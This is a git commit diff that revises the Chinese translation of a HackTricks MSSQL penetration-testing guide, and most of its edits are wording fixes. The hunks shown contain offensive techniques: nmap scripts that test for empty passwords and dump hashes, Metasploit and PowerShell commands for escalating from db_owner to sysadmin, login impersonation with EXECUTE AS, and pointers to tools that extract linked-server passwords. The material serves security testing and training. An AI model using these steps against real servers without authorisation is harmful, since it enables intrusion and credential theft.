Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-

This commit is contained in:
Translator 2024-06-03 13:36:33 +00:00
parent b9ce83fa3c
commit ae7b95a2d8

View file

@ -6,9 +6,9 @@
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
@ -34,17 +34,17 @@
```
### **默认 MS-SQL 系统表**
* **master 数据库**: 这个数据库非常重要,因为它记录了 SQL Server 实例的所有系统级细节。
* **msdb 数据库**: SQL Server 代理程序利用这个数据库来管理警报和作业的调度。
* **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,其中任何更改,如大小、排序规则、恢复模型等,都会在新创建的数据库中得到反映。
* **Resource 数据库**: 一个只读数据库,存储了随 SQL Server 提供的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
* **tempdb 数据库**: 用作临时存储区域,用于存储临时对象或中间结果集。
* **master 数据库**这个数据库非常重要,因为它记录了 SQL Server 实例的所有系统级细节。
* **msdb 数据库**SQL Server 代理程序利用这个数据库来管理警报和作业的调度。
* **model 数据库**:作为 SQL Server 实例上每个新数据库的蓝图,其中任何更改(如大小、排序规则、恢复模型等)都会在新创建的数据库中得到反映。
* **Resource 数据库**一个只读数据库,存储了随 SQL Server 提供的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
* **tempdb 数据库**用作临时存储区域,用于存储临时对象或中间结果集。
## 枚举
### 自动枚举
如果你对服务一无所知:
如果你对服务一无所知
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
@ -153,13 +153,13 @@ SELECT * FROM sysusers
#### 获取权限
1. **可保护资源:** 定义为由 SQL Server 管理的资源,用于访问控制。这些资源分为以下类别:
* **服务器** 例如数据库、登录、端点、可用性组服务器角色。
* **数据库** 例如数据库角色、应用程序角色、架构、证书、全文目录用户。
* **架构** 包括表、视图、存储过程、函数、同义词等。
* **服务器级别** 例如数据库、登录、端点、可用性组以及服务器角色。
* **数据库级别** 例如数据库角色、应用程序角色、架构、证书、全文目录以及用户。
* **架构级别** 包括表、视图、存储过程、函数、同义词等。
2. **权限:** 与 SQL Server 可保护资源相关联的权限,如 ALTER、CONTROL 和 CREATE 可授予给主体。权限的管理发生在两个级别:
* **服务器级别** 使用登录
* **数据库级别** 使用用户
3. **主体:** 此术语指被授予权限访问可保护资源的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限,或将登录和用户包含在具有访问权限的角色中来行使对可保护资源的访问控制。
3. **主体:** 此术语指被授予权限访问可保护资源的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限,或将登录和用户包含在具有访问权限的角色中来行使对可保护资源的访问控制。
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -184,7 +184,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### 执行操作系统命令
{% hint style="danger" %}
请注意,要能够执行命令,不仅需要启用 **`xp_cmdshell`**,还需要对 **`xp_cmdshell` 存储过程具有执行权限**。您可以通过以下方式查看谁(除了 sysadmins可以使用 **`xp_cmdshell`**
请注意,要能够执行命令,不仅需要启用 **`xp_cmdshell`**,还需要对 **`xp_cmdshell` 存储过程具有 EXECUTE 权限**。您可以使用以下命令查看谁(除了 sysadmins可以使用 **`xp_cmdshell`**
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
@ -315,9 +315,9 @@ GO
```
### 读取注册表
Microsoft SQL Server提供了多个扩展存储过程允许您与网络、文件系统甚至[Windows注册表](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)进行交互:
Microsoft SQL Server提供了**多个扩展存储过程**,允许您与网络、文件系统甚至[**Windows注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**进行交互:**
| **常规** | **实例感知** |
| **常规** | **实例感知** |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
@ -338,21 +338,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
### 使用MSSQL用户定义函数SQLHttp进行RCE
### 通过 MSSQL 用户定义函数 SQLHttp 实现 RCE
可以在MSSQL中使用自定义函数加载.NET dll。然而这需要`dbo`访问权限,因此您需要一个作为`sa`或管理员角色连接到数据库。
可以在 MSSQL 中使用自定义函数加载 .NET dll。然而这需要 `dbo` 访问权限,因此您需要一个作为 `sa` 或管理员角色连接到数据库。
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)查看示例。
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 查看示例。
### RCE的其他方法
### RCE 的其他方法
还有其他方法可以实现命令执行,例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
还有其他方法可以实现命令执行,例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR 程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server 代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
## MSSQL权限提升
## MSSQL 权限提升
### 从db_owner提升为sysadmin
### 从 db_owner 提升至 sysadmin
如果将**普通用户**赋予**`db_owner`**角色,而该角色是由管理员用户(如**`sa`**)拥有的数据库,并且该数据库配置为**`trustworthy`**,那么该用户可以滥用这些权限进行权限提升,因为在其中创建的**存储过程**可以作为所有者(**管理员**)执行。
如果将**普通用户**赋予**`db_owner`**角色,拥有管理员用户(如**`sa`**的数据库,并且该数据库配置为**`trustworthy`**,那么该用户可以滥用这些权限进行权限提升,因为在其中创建的**存储过程**可以作为所有者(**管理员**)执行。
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -396,7 +396,7 @@ msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### 模拟其他用户
### 冒充其他用户
SQL Server有一个特殊权限名为**`IMPERSONATE`**,允许执行用户承担另一个用户或登录的权限,直到上下文被重置或会话结束。
```sql
@ -415,9 +415,9 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
如果您可以冒充一个用户即使他不是sysadmin您应该检查该用户是否可以访问其他数据库或链接服务器。
{% endhint %}
请注意一旦您成为sysadmin您可以冒充任何其他用户
{% endhint %}
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -427,7 +427,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
您可以使用**metasploit**模块执行此攻击:
你可以使用**metasploit**模块执行这种攻击:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
@ -443,7 +443,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## 从SQL Server Linked Servers中提取密码
攻击者可以从SQL实例中提取SQL Server Linked Servers密码并以明文形式获取这些密码从而授予攻击者可以用来在目标上获得更大立足点的密码。用于提取和解密存储的Linked Servers密码的脚本可以在[此处](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)找到。
攻击者可以从SQL实例中提取SQL Server Linked Servers密码并以明文形式获取这些密码从而授予攻击者可以用来在目标上获得更大立足点的密码。可以在[此处](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)找到用于提取和解密存储在Linked Servers中的密码的脚本
为使此漏洞利用生效必须执行一些要求和配置。首先您必须在计算机上拥有管理员权限或者具有管理SQL Server配置的能力。
@ -453,7 +453,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
2. 添加一个启动参数,在本例中,将添加一个跟踪标志,即-T7806。
3. 启用远程管理员连接。
要自动化这些配置,[此存储库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)具有所需的脚本。除了为每个配置步骤提供一个PowerShell脚本外该存储库还有一个完整脚本,结合了配置脚本以及密码的提取和解密。
要自动化这些配置,[此存储库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)具有所需的脚本。除了为每个配置步骤提供一个PowerShell脚本外该存储库还有一个完整脚本,结合了配置脚本以及密码的提取和解密。
有关此攻击的更多信息,请参考以下链接:[解密MSSQL数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
@ -479,18 +479,18 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## 参考资料
* [如何获取所有数据库用户列表](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [SQL Server登录用户权限fn-my-permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [SQL Server登录用户权限](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [高级MSSQL注入技巧](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [黑客SQL Server存储过程第1部分-不可信数据库](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [黑客SQL Server存储过程第2部分-用户冒充](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [通过Metasploit使用SQL Server执行SMB中继攻击](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [在SQL Server中使用注册表的工作](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
* [黑客SQL Server存储过程第一部分:不可信数据库](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [黑客SQL Server存储过程第二部分:用户冒充](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [通过Metasploit在SQL Server上执行SMB中继攻击](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [操作注册表中的SQL Server](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
***
## HackTricks自动命令
```
@ -552,7 +552,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式:
其他支持HackTricks的方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)